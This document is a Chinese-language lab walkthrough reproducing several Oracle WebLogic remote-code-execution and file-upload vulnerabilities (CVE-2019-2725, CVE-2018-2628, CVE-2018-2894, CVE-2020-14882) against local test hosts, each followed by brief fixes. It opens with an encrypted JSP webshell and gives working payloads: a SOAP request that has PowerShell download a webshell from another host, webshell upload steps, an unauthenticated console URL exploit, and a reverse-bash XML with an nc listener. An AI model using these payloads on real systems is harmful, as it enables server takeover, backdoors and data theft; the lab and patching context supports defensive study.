<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class Uextends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")) {String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta nce().equals(pageContext);}%> 
]]> 

</string> 
</void> 
<void method="close"/> 
</object></java></java> 
</work:WorkContext> 
</soapenv:Header> 
<soapenv:Body/>
</soapenv:Envelope> 

提交

访问后门地址

http://192.168.80.132:7001/bea_wls_internal/test.jsp

修复

1. 更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制

2. 或者根据业务所有需求，考虑是否删除WLS-WebServices组件。包含此组件路径为：

   Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
   
   Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
   
   Middleware/wlserver_10.3/server/lib/wls-wsat.war

   以上路径都在WebLogic安装处。删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面

wls-wsat反序列化漏洞(CVE-2019-2725)

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞

原理

根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。

影响版本：

weblogic 10.x

weblogic 12.1.3

复现

漏洞存在于：/_async/AsyncResponseService，访问地址，如果可以访问则存在漏洞：

我们构造包含poc的burppost包，来做到下载远程后门到指定目录

POST /_async/AsyncResponseService HTTP/1.1 
Host: 192.168.80.132:7001 
Content-Length: 910 
Accept-Encoding: gzip, deflate SOAPAction: 
Accept: */* 
User-Agent: Apache-HttpClient/4.1.1 (java 1.5) 
Connection: keep-alive 
content-type: text/xml 

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" 
xmlns:asy="http://www.bea.com/async/AsyncResponseService"> 
<soapenv:Header> 
<wsa:Action>xx</wsa:Action> 
<wsa:RelatesTo>xx</wsa:RelatesTo> 
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
<void class="java.lang.ProcessBuilder"> 
<array class="java.lang.String" length="3"> 
<void index="0"> 
<string>cmd</string> 
</void> 
<void index="1"> 
<string>/c</string> 
</void> 
<void index="2"> 
<string>powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.0.182:81/shell.jsp.txt','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp ')</string> 
</void>
</array> 
<void method="start"/></void> 
</work:WorkContext> 
</soapenv:Header> 
<soapenv:Body> 
<asy:onAsyncDelivery/> 
</soapenv:Body></soapenv:Envelope>

提交后

192.168.80.132:7001/_async/webshell.jsp 

连接后门

修复

1. 禁用bea_wls9_async_response组件
2. 删除wls9_async_response的war包并重启
3. 禁止访问 /_async/* 路径。

T3协议反序列化命令执行漏洞(CVE-2018-2628)

原理

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启.

攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击

复现

起来环境

kaliz中下载poc

git clone https://github.com/jas502n/CVE-2018-2628.git

本地起来这个工具

可以看到给出了一个shell位置

在poc目录下执行命令，用于连接shell

python getshell\ cve-2018-2628.py 

执行完后填写shell地址可以看到反弹了

修复

1. 及时更新补丁
2. 禁用T3协议
3. 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

文件上传(CVE-2018-2894)

Weblogic Web Service Test Page中存在任意文件上传漏洞，Web ServiceTest Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。

两个页面分别为/ws_utc/begin.do和/ws_utc/config.do。

原理

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。

复现

再靶机里打开vulhub的docker环境

cd vulhub-master/weblogic/CVE-2018-2894
sudo docker-compose up -d

如果失败，排除网络问题，可能是没安装compose，安装compose

sudo apt install docker-compose 

http://192.168.80.133:7001/console/

可以看到环境起来了

这里我们需要登录，我们在靶机获取下 账号密码

sudo docker-compose logs | grep password

weblogic 登录

base_domain，高级，在 启用web服务测试页 选项打勾， 保存

在此开发环境下有俩个测试页，分别为 config.do 和 begin.do

config.do页面

首先进入config.do，将目录设置为 ws_utc 应用的静态文件css目录，访问这个目录是无需权限的

http://192.168.80.133:7001/ws_utc/config.do

路径

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

提交后，保存成功

然后我们在安全这里点添加，可以看到可上传文件，这里上传一个冰蝎的jsp后门

上传成功后我们需要知道连接的路径，抓包试试

猜测它上传上去的文件名 是时间戳_文件名

我们猜测出上传路径

http://192.168.80.133:7001/ws_utc/css/config/keystore/1640590531080_shell.jsp

尝试连接

可以看到连接成功

begin.do页面

接下来我们看看另一个页面begin.do

我们还是使用ws_utc应用的静态文件css目录

http://192.168.80.133:7001/ws_utc/begin.do

输入刚才的账号密码，跳转到此页面

很轻易的发现右上角有个类似文件的东西，点击发现了上传点

上传后发现提示出错，我们f12 网络，在相应里可以找到一个上传路径

我们构造得到连接路径

http://192.168.80.133:7001/ws_utc/css/upload/RS_Upload_2021-12-27_08-01-39_776/import_file_name_shell.jsp

修复

使用强密码

远程代码执行漏洞(CVE-2020-14882)

原理

通过发送恶意的HTTP GET 请求，攻击者可在未经身份验证的情况下控制 WebLogic Server Console ，并执行任意代码。

影响版本：

Oracle Weblogic Server 10.3.6.0.0

Oracle Weblogic Server 12.1.3.0.0

Oracle Weblogic Server 12.2.1.3.0

Oracle Weblogic Server 12.2.1.4.0

Oracle Weblogic Server 14.1.1.0.0

复现

进入路径下开启docker

cd vulhub-master/weblogic/CVE-2020-14882
sudo docker-compose up -d

开启后访问

http://192.168.80.133:7001/console/login/LoginForm.jsp

构造url进行未授权访问

192.168.80.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

可以看到进来了console，这里看到权限并不是很高，不能上传文件之类的

这里我们先测试一下，在/tmp下创建一个test文件

我们这里先进入到/tmp

sudo docker exec -it cve202014882_weblogic_1 /bin/bash
ls /tmp

构造url

192.168.80.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);

这里虽然404，但是命令执行了

接下来我们在kali创建一个xml文件，使用bash命令反弹shell

下面的ip换成kali的ip

reverse-bash.xml 

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xsi:schemaLocation="http://www.springframework.org/schema/beans 
http://www.springframework.org/schema/beans/spring-beans.xsd"> 
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> 
<constructor-arg> 
<list> 
<value>/bin/bash</value> 
<value>-c</value> 
<value><![CDATA[bash -i >& /dev/tcp/192.168.80.134/99990>&1]]></value> 
</list> 
</constructor-arg> 
</bean> 
</beans>

监听9999端口

nc -lvnp 9999

构造url

192.168.80.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.80.134/reverse-bash.xml")

反弹出shell

修复

1. 打补丁

   https://www.oracle.com/security-alerts/cpuapr2020.html

2. 但是该漏洞的补丁存在被绕过的风险，建议临时关闭后台/console/console.portal的对外访问。